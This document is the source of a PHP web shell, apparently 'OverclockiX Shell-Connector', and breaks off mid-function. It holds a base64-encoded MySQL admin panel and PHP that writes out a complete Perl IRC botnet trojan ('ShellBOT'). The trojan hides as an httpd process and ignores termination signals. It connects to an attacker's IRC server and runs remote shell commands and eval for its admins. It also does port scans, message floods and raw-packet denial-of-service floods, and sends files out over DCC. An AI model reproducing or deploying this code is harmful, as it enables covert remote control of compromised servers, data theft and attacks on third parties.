aWYoICR2YXIgPT0gIm15c3FsX3dlYl9hZG1pbl91c2VybmFtZSIgKSAkVVNFUk5BTUUgPSAkdmFs
dWU7CgkJaWYoICR2YXIgPT0gIm15c3FsX3dlYl9hZG1pbl9wYXNzd29yZCIgKSAkUEFTU1dPUkQg
PSAkdmFsdWU7CgkJaWYoICR2YXIgPT0gIm15c3FsX3dlYl9hZG1pbl9ob3N0bmFtZSIgKSAkSE9T
VE5BTUUgPSAkdmFsdWU7Cgl9CgkkbXlzcWxIYW5kbGUgPSBAbXlzcWxfY29ubmVjdCggJEhPU1RO
QU1FLiI6MzMwNiIsICRVU0VSTkFNRSwgJFBBU1NXT1JEICk7CglkdW1wKCk7Cn0gZWxzZSB7Cgl3
aGlsZSggbGlzdCgkdmFyLCAkdmFsdWUpID0gZWFjaCgkSFRUUF9DT09LSUVfVkFSUykgKSB7CgkJ
aWYoICR2YXIgPT0gIm15c3FsX3dlYl9hZG1pbl91c2VybmFtZSIgKSAkVVNFUk5BTUUgPSAkdmFs
dWU7CgkJaWYoICR2YXIgPT0gIm15c3FsX3dlYl9hZG1pbl9wYXNzd29yZCIgKSAkUEFTU1dPUkQg
PSAkdmFsdWU7CgkJaWYoICR2YXIgPT0gIm15c3FsX3dlYl9hZG1pbl9ob3N0bmFtZSIgKSAkSE9T
VE5BTUUgPSAkdmFsdWU7Cgl9CgllY2hvICI8IS0tIjsKCSRteXNxbEhhbmRsZSA9IEBteXNxbF9j
b25uZWN0KCAkSE9TVE5BTUUuIjozMzA2IiwgJFVTRVJOQU1FLCAkUEFTU1dPUkQgKTsKCWVjaG8g
Ii0tPiI7CgoJaWYoICRteXNxbEhhbmRsZSA9PSBmYWxzZSApIHsKCgoJCWVjaG8gIjx0YWJsZSB3
aWR0aD0xMDAlIGhlaWdodD0xMDAlPjx0cj48dGQ+PGNlbnRlcj5cbiI7CgkJZWNobyAiPGgxPldy
b25nIFBhc3N3b3JkITwvaDE+XG4iOwoJCWVjaG8gIjxhIGhyZWY9JyRQSFBfU0VMRj9hY3Rpb249
bG9nb24nPkxvZ29uPC9hPlxuIjsKCQllY2hvICI8L2NlbnRlcj48L3RkPjwvdHI+PC90YWJsZT5c
biI7CgoJfSBlbHNlIHsKCgkJaWYoICRhY3Rpb24gPT0gImJHbHpkRVJDY3c9PSIgKQoJCQlsaXN0
RGF0YWJhc2VzKCk7CgkJZWxzZSBpZiggJGFjdGlvbiA9PSAiY3JlYXRlREIiICkKCQkJY3JlYXRl
RGF0YWJhc2UoKTsKCQllbHNlIGlmKCAkYWN0aW9uID09ICJkcm9wREIiICkKCQkJZHJvcERhdGFi
YXNlKCk7CgkJZWxzZSBpZiggJGFjdGlvbiA9PSAibGlzdFRhYmxlcyIgKQoJCQlsaXN0VGFibGVz
KCk7CgkJZWxzZSBpZiggJGFjdGlvbiA9PSAiY3JlYXRlVGFibGUiICkKCQkJY3JlYXRlVGFibGUo
KTsKCQllbHNlIGlmKCAkYWN0aW9uID09ICJkcm9wVGFibGUiICkKCQkJZHJvcFRhYmxlKCk7CgkJ
ZWxzZSBpZiggJGFjdGlvbiA9PSAidmlld1NjaGVtYSIgKQoJCQl2aWV3U2NoZW1hKCk7CgkJZWxz
ZSBpZiggJGFjdGlvbiA9PSAicXVlcnkiICkKCQkJdmlld0RhdGEoICRxdWVyeVN0ciApOwoJCWVs
c2UgaWYoICRhY3Rpb24gPT0gImFkZEZpZWxkIiApCgkJCW1hbmFnZUZpZWxkKCAiYWRkIiApOwoJ
CWVsc2UgaWYoICRhY3Rpb24gPT0gImFkZEZpZWxkX3N1Ym1pdCIgKQoJCQltYW5hZ2VGaWVsZF9z
dWJtaXQoICJhZGQiICk7CgkJZWxzZSBpZiggJGFjdGlvbiA9PSAiZWRpdEZpZWxkIiApCgkJCW1h
bmFnZUZpZWxkKCAiZWRpdCIgKTsKCQllbHNlIGlmKCAkYWN0aW9uID09ICJlZGl0RmllbGRfc3Vi
bWl0IiApCgkJCW1hbmFnZUZpZWxkX3N1Ym1pdCggImVkaXQiICk7CgkJZWxzZSBpZiggJGFjdGlv
biA9PSAiZHJvcEZpZWxkIiApCgkJCWRyb3BGaWVsZCgpOwoJCWVsc2UgaWYoICRhY3Rpb24gPT0g
ImRtbGxkMFJoZEdFPSIgKQoJCQl2aWV3RGF0YSggIiIgKTsKCQllbHNlIGlmKCAkYWN0aW9uID09
ICJhZGREYXRhIiApCgkJCW1hbmFnZURhdGEoICJhZGQiICk7CgkJZWxzZSBpZiggJGFjdGlvbiA9
PSAiYWRkRGF0YV9zdWJtaXQiICkKCQkJbWFuYWdlRGF0YV9zdWJtaXQoICJhZGQiICk7CgkJZWxz
ZSBpZiggJGFjdGlvbiA9PSAiZWRpdERhdGEiICkKCQkJbWFuYWdlRGF0YSggImVkaXQiICk7CgkJ
ZWxzZSBpZiggJGFjdGlvbiA9PSAiZWRpdERhdGFfc3VibWl0IiApCgkJCW1hbmFnZURhdGFfc3Vi
bWl0KCAiZWRpdCIgKTsKCQllbHNlIGlmKCAkYWN0aW9uID09ICJkZWxldGVEYXRhIiApCgkJCWRl
bGV0ZURhdGEoKTsKCQllbHNlIGlmKCAkYWN0aW9uID09ICJ1dGlscyIgKQoJCQl1dGlscygpOwoK
CQlteXNxbF9jbG9zZSggJG15c3FsSGFuZGxlKTsKCQlmb290ZXJfaHRtbCgpOwoJfQp9CgoKCmVj
aG8nPGh0bWw+CjxoZWFkPgo8dGl0bGU+TXlTUUwgSW50ZXJmYWNlIChEZXZlbG9wZWQgQnkgTW9o
YWplcjIyKTwvdGl0bGU+Cjxib2R5IGJnQ29sb3I9IzIwMjA0MCA+CjxzdHlsZSB0eXBlPSJ0ZXh0
L2NzcyI+CjwhLS0KcC5sb2NhdGlvbiB7Cgljb2xvcjogIzExYmIzMzsKCWZvbnQtc2l6ZTogc21h
bGw7Cn0KaDEgewoJY29sb3I6ICNjMDAwMDA7Cn0KdGggewoJYmFja2dyb3VuZC1jb2xvcjogIzAw
MDAwMDsKCWNvbG9yOiAjMTFiYjMzOwoJZm9udC1zaXplOiBzbWFsbDsKfQp0ZCB7CgliYWNrZ3Jv
dW5kLWNvbG9yOiAjODA4MDgwOwoJZm9udC1zaXplOiBzbWFsbDsKfQpmb3JtIHsKCW1hcmdpbi10
b3A6IDA7CgltYXJnaW4tYm90dG9tOiAwOwp9CmEgewoJdGV4dC1kZWNvcmF0aW9uOm5vbmU7Cglj
b2xvcjogIzg0ODIwMDsKCWZvbnQtc2l6ZTpzbWFsbDsKfQpBOmxpbmsgewpDT0xPUjojRUVFRkQ1
OwpURVhULURFQ09SQVRJT046IG5vbmUKfQpBOnZpc2l0ZWQgewpDT0xPUjojYzAwMDAwOwpURVhU
LURFQ09SQVRJT046IG5vbmUKfQpBOmFjdGl2ZSB7CkNPTE9SOiNjMDAwMDA7ClRFWFQtREVDT1JB
VElPTjogbm9uZQp9CkE6aG92ZXIgewpjb2xvcjojYzAwMDAwOwpURVhULURFQ09SQVRJT046IG5v
bmUKfQppbnB1dCwgc2VsZWN0LCB0ZXh0YXJlYSB7CmJhY2tncm91bmQtY29sb3I6ICM0MDQwNDA7
CmJvcmRlci1zdHlsZTogc29saWQ7CmZvbnQtZmFtaWx5OiB2ZXJkYW5hLCBhcmlhbCwgc2Fucy1z
ZXJpZjsKZm9udC1zaXplOnNtYWxsOwpjb2xvcjogIzAwMDAwMDsKcGFkZGluZzogMHB4Owp9JzsK
ZWNobyc8aHRtbD4KPGhlYWQ+Cjx0aXRsZT5NeVNRTCBJbnRlcmZhY2UgKERldmVsb3BlZCBCeSBN
b2hhamVyMjIpPC90aXRsZT4KPGJvZHkgYmdDb2xvcj0jMjAyMDQwID4KPHN0eWxlIHR5cGU9InRl
eHQvY3NzIj4KPCEtLQpwLmxvY2F0aW9uIHsKCWNvbG9yOiAjMTFiYjMzOwoJZm9udC1zaXplOiBz
bWFsbDsKfQpoMSB7Cgljb2xvcjogI2MwMDAwMDsKfQp0aCB7CgliYWNrZ3JvdW5kLWNvbG9yOiAj
MDAwMDAwOwoJY29sb3I6ICMxMWJiMzM7Cglmb250LXNpemU6IHNtYWxsOwp9CnRkIHsKCWJhY2tn
cm91bmQtY29sb3I6ICM4MDgwODA7Cglmb250LXNpemU6IHNtYWxsOwp9CmZvcm0gewoJbWFyZ2lu
LXRvcDogMDsKCW1hcmdpbi1ib3R0b206IDA7Cn0KYSB7Cgl0ZXh0LWRlY29yYXRpb246bm9uZTsK
CWNvbG9yOiAjODQ4MjAwOwoJZm9udC1zaXplOnNtYWxsOwp9CkE6bGluayB7CkNPTE9SOiNFRUVG
RDU7ClRFWFQtREVDT1JBVElPTjogbm9uZQp9CkE6dmlzaXRlZCB7CkNPTE9SOiNjMDAwMDA7ClRF
WFQtREVDT1JBVElPTjogbm9uZQp9CkE6YWN0aXZlIHsKQ09MT1I6I2MwMDAwMDsKVEVYVC1ERUNP
UkFUSU9OOiBub25lCn0KQTpob3ZlciB7CmNvbG9yOiNjMDAwMDA7ClRFWFQtREVDT1JBVElPTjog
bm9uZQp9CmlucHV0LCBzZWxlY3QsIHRleHRhcmVhIHsKYmFja2dyb3VuZC1jb2xvcjogIzQwNDA0
MDsKYm9yZGVyLXN0eWxlOiBzb2xpZDsKZm9udC1mYW1pbHk6IHZlcmRhbmEsIGFyaWFsLCBzYW5z
LXNlcmlmOwpmb250LXNpemU6c21hbGw7CmNvbG9yOiAjMDAwMDAwOwpwYWRkaW5nOiAwcHg7Cn0n
Owo/Pg==";
if(!empty($_POST['ircadmin']) AND !empty($_POST['ircserver']) AND !empty($_POST['ircchanal']) AND !empty($_POST['ircname']))
{
$ircadmin=$_POST['ircadmin'];
$ircserver=$_POST['ircserver'];
$ircchan=$_POST['ircchanal'];
$irclabel=$_POST['ircname'];
echo "<title>OverclockiX Shell-Connector || Connecting to $ircserver<title>";
echo "<body bgcolor=\"black\" text=\"green\">";
echo "Now Connecting to <b><font color=\"red\">$ircserver</font></b> in <b><font color=\"yellow\">$ircchan</font></b> Andministrators: <b><font color=\"yellow\">$ircadmin</font></b> Botname is <b><font color=\"yellow\">$irclabel</font></b>";
echo "<p>Dont Forget to Delete Loader.pl in /tmp</p>";
#######################################################
######################IRC Trojan##########################
$file="
################ CONFIGURACAO #################################################################
my \$processo = '/usr/local/apache/bin/httpd -DSSL'; # Nome do processo que vai aparece no ps #
#----------------------------------------------################################################
my \$linas_max='48'; # Evita o flood :) depois de X linhas #
#----------------------------------------------################################################
my \$sleep='4'; # ele dorme X segundos #
##################### IRC #####################################################################
my @adms=(\"$ircadmin\"); # Nick do administrador #
#----------------------------------------------################################################
my @canais=(\"$ircchan\"); # Caso haja senha (\"#canal :senha\") #
#----------------------------------------------################################################
my \$nick='$irclabel'; # Nick do bot. Caso esteja em uso vai aparecer #
# aparecer com numero radonamico no final #
#----------------------------------------------################################################
my \$ircname = 'Linux'; # User ID #
#----------------------------------------------################################################
chop (my \$realname = `uname -a`); # Full Name #
#----------------------------------------------################################################
\$servidor='$ircserver' unless \$servidor; # Servidor de irc que vai ser usado #
# caso n?o seja especificado no argumento #
#----------------------------------------------################################################
my \$porta='6667'; # Porta do servidor de irc #
################ ACESSO A SHELL ###############################################################
my \$secv = 1; # 1/0 pra habilita/desabilita acesso a shell #
###############################################################################################
my \$VERSAO = '0.2';
\$SIG{'INT'} = 'IGNORE';
\$SIG{'HUP'} = 'IGNORE';
\$SIG{'TERM'} = 'IGNORE';
\$SIG{'CHLD'} = 'IGNORE';
\$SIG{'PS'} = 'IGNORE';
\$SIG{'STOP'} = 'IGNORE';
use IO::Socket;
use Socket;
use IO::Select;
chdir(\"/\");
\$servidor=\"\$ARGV[0]\" if \$ARGV[0];
$0=\"\$processo\".\"\0\"x16;;
my \$pid=fork;
exit if \$pid;
die \"Problema com o fork: $!\" unless defined(\$pid);
my \$dcc_sel = new IO::Select->new();
#############################
# B0tchZ na veia ehehe :P #
#############################
\$sel_cliente = IO::Select->new();
sub sendraw {
if ($#_ == '1') {
my \$socket = \$_[0];
print \$socket \"\$_[1]\\n\";
} else {
print \$IRC_cur_socket \"\$_[0]\\n\";
}
}
#################################
sub conectar {
my \$meunick = \$_[0];
my \$servidor_con = \$_[1];
my \$porta_con = \$_[2];
my \$IRC_socket = IO::Socket::INET->new(Proto=>\"tcp\", PeerAddr=>\"\$servidor_con\", PeerPort=>\$porta_con) or return(1);
if (defined(\$IRC_socket)) {
\$IRC_cur_socket = \$IRC_socket;
\$IRC_socket->autoflush(1);
\$sel_cliente->add(\$IRC_socket);
\$irc_servers{\$IRC_cur_socket}{'host'} = \"\$servidor_con\";
\$irc_servers{\$IRC_cur_socket}{'porta'} = \"\$porta_con\";
\$irc_servers{\$IRC_cur_socket}{'nick'} = \$meunick;
\$irc_servers{\$IRC_cur_socket}{'meuip'} = \$IRC_socket->sockhost;
nick(\"\$meunick\");
sendraw(\"USER \$ircname \".\$IRC_socket->sockhost.\" \$servidor_con :\$realname\");
sleep 1;
}
} #####################
my \$line_temp;
while( 1 ) {
while (!(keys(%irc_servers))) { conectar(\"\$nick\", \"\$servidor\", \"\$porta\"); }
delete(\$irc_servers{''}) if (defined(\$irc_servers{''}));
&DCC::connections;
my @ready = \$sel_cliente->can_read(0);
next unless(@ready);
foreach \$fh (@ready) {
\$IRC_cur_socket = \$fh;
\$meunick = \$irc_servers{\$IRC_cur_socket}{'nick'};
\$nread = sysread(\$fh, \$msg, 4096);
if (\$nread == 0) {
\$sel_cliente->remove(\$fh);
\$fh->close;
delete(\$irc_servers{\$fh});
}
@lines = split (/\\n/, \$msg);
for(my \$c=0; \$c<= $#lines; \$c++) {
\$line = \$lines[\$c];
\$line=\$line_temp.\$line if (\$line_temp);
\$line_temp='';
\$line =~ s/\\r$//;
unless (\$c == $#lines) {
parse(\"\$line\");
} else {
if ($#lines == 0) {
parse(\"\$line\");
} elsif (\$lines[\$c] =~ /\\r$/) {
parse(\"\$line\");
} elsif (\$line =~ /^(\S+) NOTICE AUTH :\*\*\*/) {
parse(\"\$line\");
} else {
\$line_temp = \$line;
}
}
}
}
}
#########################
sub parse {
my \$servarg = shift;
if (\$servarg =~ /^PING \:(.*)/) {
sendraw(\"PONG :$1\");
} elsif (\$servarg =~ /^\:(.+?)\!(.+?)\@(.+?) PRIVMSG (.+?) \:(.+)/) {
my \$pn=$1; my \$onde = $4; my \$args = $5;
if (\$args =~ /^\\001VERSION\\001$/) {
notice(\"\$pn\", \"\\001VERSION ShellBOT-\$VERSAO por 0ldW0lf\\001\");
}
if (grep {\$_ =~ /^\Q\$pn\E$/i } @adms) {
if (\$onde eq \"\$meunick\"){
shell(\"\$pn\", \"\$args\");
}
if (\$args =~ /^(\Q\$meunick\E|\!atrix)\s+(.*)/ ) {
my \$natrix = $1;
my \$arg = $2;
if (\$arg =~ /^\!(.*)/) {
ircase(\"\$pn\",\"\$onde\",\"\$1\") unless (\$natrix eq \"!atrix\" and \$arg =~ /^\!nick/);
} elsif (\$arg =~ /^\@(.*)/) {
\$ondep = \$onde;
\$ondep = \$pn if \$onde eq \$meunick;
bfunc(\"\$ondep\",\"$1\");
} else {
shell(\"\$onde\", \"\$arg\");
}
}
}
} elsif (\$servarg =~ /^\:(.+?)\!(.+?)\@(.+?)\s+NICK\s+\:(\S+)/i) {
if (lc($1) eq lc(\$meunick)) {
\$meunick=$4;
\$irc_servers{\$IRC_cur_socket}{'nick'} = \$meunick;
}
} elsif (\$servarg =~ m/^\:(.+?)\s+433/i) {
nick(\"\$meunick\".int rand(9999));
} elsif (\$servarg =~ m/^\:(.+?)\s+001\s+(\S+)\s/i) {
\$meunick = $2;
\$irc_servers{\$IRC_cur_socket}{'nick'} = \$meunick;
\$irc_servers{\$IRC_cur_socket}{'nome'} = \"$1\";
foreach my \$canal (@canais) {
sendraw(\"JOIN \$canal\");
}
}
}
##########################
sub bfunc {
my \$printl = \$_[0];
my \$funcarg = \$_[1];
if (my \$pid = fork) {
waitpid(\$pid, 0);
} else {
if (fork) {
exit;
} else {
if (\$funcarg =~ /^portscan (.*)/) {
my \$hostip=\"$1\";
my @portas=(\"21\",\"22\",\"23\",\"25\",\"53\",\"80\",\"110\",\"143\");
my (@aberta, %porta_banner);
foreach my \$porta (@portas) {
my \$scansock = IO::Socket::INET->new(PeerAddr => \$hostip, PeerPort => \$porta, Proto => 'tcp', Timeout => 4);
if (\$scansock) {
push (@aberta, \$porta);
\$scansock->close;
}
}
if (@aberta) {
sendraw(\$IRC_cur_socket, \"PRIVMSG \$printl :portas abertas: @aberta\");
} else {
sendraw(\$IRC_cur_socket,\"PRIVMSG \$printl :Nenhuma porta aberta foi encontrada\");
}
}
if (\$funcarg =~ /^pacota\s+(.*)\s+(\d+)\s+(\d+)/) {
my (\$dtime, %pacotes) = attacker(\"$1\", \"$2\", \"$3\");
\$dtime = 1 if \$dtime == 0;
my %bytes;
\$bytes{igmp} = $2 * \$pacotes{igmp};
\$bytes{icmp} = $2 * \$pacotes{icmp};
\$bytes{o} = $2 * \$pacotes{o};
\$bytes{udp} = $2 * \$pacotes{udp};
\$bytes{tcp} = $2 * \$pacotes{tcp};
sendraw(\$IRC_cur_socket, \"PRIVMSG \$printl :\\002 - Status GERAL -\\002\");
sendraw(\$IRC_cur_socket, \"PRIVMSG \$printl :\\002Tempo\\002: \$dtime\".\"s\");
sendraw(\$IRC_cur_socket, \"PRIVMSG \$printl :\\002Total pacotes\\002: \".(\$pacotes{udp} + \$pacotes{igmp} + \$pacotes{icmp} + \$pacotes{o}));
sendraw(\$IRC_cur_socket, \"PRIVMSG \$printl :\\002Total bytes\\002: \".(\$bytes{icmp} + \$bytes {igmp} + \$bytes{udp} + \$bytes{o}));
sendraw(\$IRC_cur_socket, \"PRIVMSG \$printl :\\002M?dia de envio\\002: \".int(((\$bytes{icmp}+\$bytes{igmp}+\$bytes{udp} + \$bytes{o})/1024)/\$dtime).\" kbps\");
}
exit;
}
}
}
##########################
sub ircase {
my (\$kem, \$printl, \$case) = @_;
if (\$case =~ /^join (.*)/) {
j(\"$1\");
}
if (\$case =~ /^part (.*)/) {
p(\"$1\");
}
if (\$case =~ /^rejoin\s+(.*)/) {
my \$chan = $1;
if (\$chan =~ /^(\d+) (.*)/) {
for (my \$ca = 1; \$ca <= $1; \$ca++ ) {
p(\"$2\");
j(\"$2\");
}
} else {
p(\"\$chan\");
j(\"\$chan\");
}
}
if (\$case =~ /^op/) {
op(\"\$printl\", \"\$kem\") if \$case eq \"op\";
my \$oarg = substr(\$case, 3);
op(\"$1\", \"$2\") if (\$oarg =~ /(\S+)\s+(\S+)/);
}
if (\$case =~ /^deop/) {
deop(\"\$printl\", \"\$kem\") if \$case eq \"deop\";
my \$oarg = substr(\$case, 5);
deop(\"$1\", \"$2\") if (\$oarg =~ /(\S+)\s+(\S+)/);
}
if (\$case =~ /^voice/) {
voice(\"\$printl\", \"\$kem\") if \$case eq \"voice\";
\$oarg = substr(\$case, 6);
voice(\"$1\", \"$2\") if (\$oarg =~ /(\S+)\s+(\S+)/);
}
if (\$case =~ /^devoice/) {
devoice(\"\$printl\", \"\$kem\") if \$case eq \"devoice\";
\$oarg = substr(\$case, 8);
devoice(\"$1\", \"$2\") if (\$oarg =~ /(\S+)\s+(\S+)/);
}
if (\$case =~ /^msg\s+(\S+) (.*)/) {
msg(\"$1\", \"$2\");
}
if (\$case =~ /^flood\s+(\d+)\s+(\S+) (.*)/) {
for (my \$cf = 1; \$cf <= $1; \$cf++) {
msg(\"$2\", \"$3\");
}
}
if (\$case =~ /^ctcp\s+(\S+) (.*)/) {
ctcp(\"$1\", \"$2\");
}
if (\$case =~ /^ctcpflood\s+(\d+)\s+(\S+) (.*)/) {
for (my \$cf = 1; \$cf <= $1; \$cf++) {
ctcp(\"$2\", \"$3\");
}
}
if (\$case =~ /^invite\s+(\S+) (.*)/) {
invite(\"$1\", \"$2\");
}
if (\$case =~ /^nick (.*)/) {
nick(\"$1\");
}
if (\$case =~ /^conecta\s+(\S+)\s+(\S+)/) {
conectar(\"$2\", \"$1\", 6667);
}
if (\$case =~ /^send\s+(\S+)\s+(\S+)/) {
DCC::SEND(\"$1\", \"$2\");
}
if (\$case =~ /^raw (.*)/) {
sendraw(\"$1\");
}
if (\$case =~ /^eval (.*)/) {
eval \"$1\";
}
}
##########################
sub shell {
return unless \$secv;
my \$printl=\$_[0];
my \$comando=\$_[1];
if (\$comando =~ /cd (.*)/) {
chdir(\"$1\") || msg(\"\$printl\", \"Dossier Makayench :D \");
return;
}
elsif (\$pid = fork) {
waitpid(\$pid, 0);
} else {
if (fork) {
exit;
} else {
my @resp=`\$comando 2>&1 3>&1`;
my \$c=0;
foreach my \$linha (@resp) {
\$c++;
chop \$linha;
sendraw(\$IRC_cur_socket, \"PRIVMSG \$printl :\$linha\");
if (\$c == \"\$linas_max\") {
\$c=0;
sleep \$sleep;
}
}
exit;
}
}
}
#eu fiz um pacotadorzinhu e talz.. dai colokemo ele aki
sub attacker {
my \$iaddr = inet_aton(\$_[0]);
my \$msg = 'B' x \$_[1];
my \$ftime = \$_[2];
my \$cp = 0;
my (%pacotes);
\$pacotes{icmp} = \$pacotes{igmp} = \$pacotes{udp} = \$pacotes{o} = \$pacotes{tcp} = 0;
socket(SOCK1, PF_INET, SOCK_RAW, 2) or \$cp++;
socket(SOCK2, PF_INET, SOCK_DGRAM, 17) or \$cp++;
socket(SOCK3, PF_INET, SOCK_RAW, 1) or \$cp++;
socket(SOCK4, PF_INET, SOCK_RAW, 6) or \$cp++;
return(undef) if \$cp == 4;
my \$itime = time;
my (\$cur_time);
while ( 1 ) {
for (my \$porta = 1; \$porta <= 65535; \$porta++) {
\$cur_time = time - \$itime;
last if \$cur_time >= \$ftime;
send(SOCK1, \$msg, 0, sockaddr_in(\$porta, \$iaddr)) and \$pacotes{igmp}++;
send(SOCK2, \$msg, 0, sockaddr_in(\$porta, \$iaddr)) and \$pacotes{udp}++;
send(SOCK3, \$msg, 0, sockaddr_in(\$porta, \$iaddr)) and \$pacotes{icmp}++;
send(SOCK4, \$msg, 0, sockaddr_in(\$porta, \$iaddr)) and \$pacotes{tcp}++;
# DoS ?? :P
for (my \$pc = 3; \$pc <= 255;\$pc++) {
next if \$pc == 6;
\$cur_time = time - \$itime;
last if \$cur_time >= \$ftime;
socket(SOCK5, PF_INET, SOCK_RAW, \$pc) or next;
send(SOCK5, \$msg, 0, sockaddr_in(\$porta, \$iaddr)) and \$pacotes{o}++;;
}
}
last if \$cur_time >= \$ftime;
}
return(\$cur_time, %pacotes);
}
#############
# ALIASES #
#############
sub action {
return unless $#_ == 1;
sendraw(\"PRIVMSG \$_[0] :\\001ACTION \$_[1]\\001\");
}
sub ctcp {
return unless $#_ == 1;
sendraw(\"PRIVMSG \$_[0] :\\001\$_[1]\\001\");
}
sub msg {
return unless $#_ == 1;
sendraw(\"PRIVMSG \$_[0] :\$_[1]\");
}
sub notice {
return unless $#_ == 1;
sendraw(\"NOTICE \$_[0] :\$_[1]\");
}
sub op {
return unless $#_ == 1;
sendraw(\"MODE \$_[0] +o \$_[1]\");
}
sub deop {
return unless $#_ == 1;
sendraw(\"MODE \$_[0] -o \$_[1]\");
}
sub hop {
return unless $#_ == 1;
sendraw(\"MODE \$_[0] +h \$_[1]\");
}
sub dehop {
return unless $#_ == 1;
sendraw(\"MODE \$_[0] +h \$_[1]\");
}
sub voice {
return unless $#_ == 1;
sendraw(\"MODE \$_[0] +v \$_[1]\");
}
sub devoice {
return unless $#_ == 1;
sendraw(\"MODE \$_[0] -v \$_[1]\");
}
sub ban {
return unless $#_ == 1;
sendraw(\"MODE \$_[0] +b \$_[1]\");
}
sub unban {
return unless $#_ == 1;
sendraw(\"MODE \$_[0] -b \$_[1]\");
}
sub kick {
return unless $#_ == 1;
sendraw(\"KICK \$_[0] \$_[1] :\$_[2]\");
}
sub modo {
return unless $#_ == 0;
sendraw(\"MODE \$_[0] \$_[1]\");
}
sub mode { modo(@_); }
sub j { &join(@_); }
sub join {
return unless $#_ == 0;
sendraw(\"JOIN \$_[0]\");
}
sub p { part(@_); }
sub part {sendraw(\"PART \$_[0]\");}
sub nick {
return unless $#_ == 0;
sendraw(\"NICK \$_[0]\");
}
sub invite {
return unless $#_ == 1;
sendraw(\"INVITE \$_[1] \$_[0]\");
}
sub topico {
return unless $#_ == 1;
sendraw(\"TOPIC \$_[0] \$_[1]\");
}
sub topic { topico(@_); }
sub whois {
return unless $#_ == 0;
sendraw(\"WHOIS \$_[0]\");
}
sub who {
return unless $#_ == 0;
sendraw(\"WHO \$_[0]\");
}
sub names {
return unless $#_ == 0;
sendraw(\"NAMES \$_[0]\");
}
sub away {
sendraw(\"AWAY \$_[0]\");
}
sub back { away(); }
sub quit {
sendraw(\"QUIT :\$_[0]\");
}
# DCC
#########################
package DCC;
sub connections {
my @ready = \$dcc_sel->can_read(1);
# return unless (@ready);
foreach my \$fh (@ready) {
my \$dcctipo = \$DCC{\$fh}{tipo};
my \$arquivo = \$DCC{\$fh}{arquivo};
my \$bytes = \$DCC{\$fh}{bytes};
my \$cur_byte = \$DCC{\$fh}{curbyte};
my \$nick = \$DCC{\$fh}{nick};
my \$msg;
my \$nread = sysread(\$fh, \$msg, 10240);
if (\$nread == 0 and \$dcctipo =~ /^(get|sendcon)$/) {
\$DCC{\$fh}{status} = \"Cancelado\";
\$DCC{\$fh}{ftime} = time;
\$dcc_sel->remove(\$fh);
\$fh->close;
next;
}
if (\$dcctipo eq \"get\") {
\$DCC{\$fh}{curbyte} += length(\$msg);
my \$cur_byte = \$DCC{\$fh}{curbyte};
open(FILE, \">> \$arquivo\");
print FILE \"\$msg\" if (\$cur_byte <= \$bytes);
close(FILE);
my \$packbyte = pack(\"N\", \$cur_byte);
print \$fh \"\$packbyte\";
if (\$bytes == \$cur_byte) {
\$dcc_sel->remove(\$fh);
\$fh->close;
\$DCC{\$fh}{status} = \"Recebido\";
\$DCC{\$fh}{ftime} = time;
next;
}
} elsif (\$dcctipo eq \"send\") {
my \$send = \$fh->accept;
\$send->autoflush(1);
\$dcc_sel->add(\$send);
\$dcc_sel->remove(\$fh);
\$DCC{\$send}{tipo} = 'sendcon';
\$DCC{\$send}{itime} = time;
\$DCC{\$send}{nick} = \$nick;
\$DCC{\$send}{bytes} = \$bytes;
\$DCC{\$send}{curbyte} = 0;
\$DCC{\$send}{arquivo} = \$arquivo;
\$DCC{\$send}{ip} = \$send->peerhost;
\$DCC{\$send}{porta} = \$send->peerport;
\$DCC{\$send}{status} = \"Enviando\";
#de cara manda os primeiro 1024 bytes do arkivo.. o resto fik com o sendcon
open(FILE, \"< \$arquivo\");
my \$fbytes;
read(FILE, \$fbytes, 1024);
print \$send \"\$fbytes\";
close FILE;
# delete(\$DCC{\$fh});
} elsif (\$dcctipo eq 'sendcon') {
my \$bytes_sended = unpack(\"N\", \$msg);
\$DCC{\$fh}{curbyte} = \$bytes_sended;
if (\$bytes_sended == \$bytes) {
\$fh->close;
\$dcc_sel->remove(\$fh);
\$DCC{\$fh}{status} = \"Enviado\";
\$DCC{\$fh}{ftime} = time;
next;
}
open(SENDFILE, \"< \$arquivo\");
seek(SENDFILE, \$bytes_sended, 0);
my \$send_bytes;
read(SENDFILE, \$send_bytes, 1024);
print \$fh \"\$send_bytes\";
close(SENDFILE);
}
}
}
##########################
sub SEND {
my (\$nick, \$arquivo) = @_;
unless (-r \"\$arquivo\") {
return(0);
}
my \$dccark = \$arquivo;
\$dccark =~ s/[.*\/](\S+)/$1/;
my \$meuip = $::irc_servers{\"$::IRC_cur_socket\"}{'meuip'};
my \$longip = unpack(\"N\",inet_aton(\$meuip));
my @filestat = stat(\$arquivo);
my \$size_total=\$filestat[7];
if (\$size_total == 0) {
return(0);
}
my (\$porta, \$sendsock);
do {
\$porta = int rand(64511);
\$porta += 1024;
\$sendsock = IO::Socket::INET->new(Listen=>1, LocalPort =>\$porta, Proto => 'tcp') and \$dcc_sel->add(\$sendsock);
} until \$sendsock;
\$DCC{\$sendsock}{tipo} = 'send';
\$DCC{\$sendsock}{nick} = \$nick;
\$DCC{\$sendsock}{bytes} = \$size_total;
\$DCC{\$sendsock}{arquivo} = \$arquivo;
&::ctcp(\"\$nick\", \"DCC SEND \$dccark \$longip \$porta \$size_total\");
}
sub GET {
my (\$arquivo, \$dcclongip, \$dccporta, \$bytes, \$nick) = @_;
return(0) if (-e \"\$arquivo\");
if (open(FILE, \"> \$arquivo\")) {
close FILE;
} else {
return(0);
}
my \$dccip=fixaddr(\$dcclongip);
return(0) if (\$dccporta < 1024 or not defined \$dccip or \$bytes < 1);
my \$dccsock = IO::Socket::INET->new(Proto=>\"tcp\", PeerAddr=>\$dccip, PeerPort=>\$dccporta, Timeout=>15) or return (0);
\$dccsock->autoflush(1);
\$dcc_sel->add(\$dccsock);
\$DCC{\$dccsock}{tipo} = 'get';
\$DCC{\$dccsock}{itime} = time;
\$DCC{\$dccsock}{nick} = \$nick;
\$DCC{\$dccsock}{bytes} = \$bytes;
\$DCC{\$dccsock}{curbyte} = 0;
\$DCC{\$dccsock}{arquivo} = \$arquivo;
\$DCC{\$dccsock}{ip} = \$dccip;
\$DCC{\$dccsock}{porta} = \$dccporta;
\$DCC{\$dccsock}{status} = \"Recebendo\";
}
############################
# po fico xato de organiza o status.. dai fiz ele retorna o status de acordo com o socket.. dai o ADM.pl lista os sockets e faz as perguntas
sub Status {
my \$socket = shift;
my \$sock_tipo = \$DCC{\$socket}{tipo};
unless (lc(\$sock_tipo) eq \"chat\") {
my \$nick = \$DCC{\$socket}{nick};
my \$arquivo = \$DCC{\$socket}{arquivo};
my \$itime = \$DCC{\$socket}{itime};
my \$ftime = time;
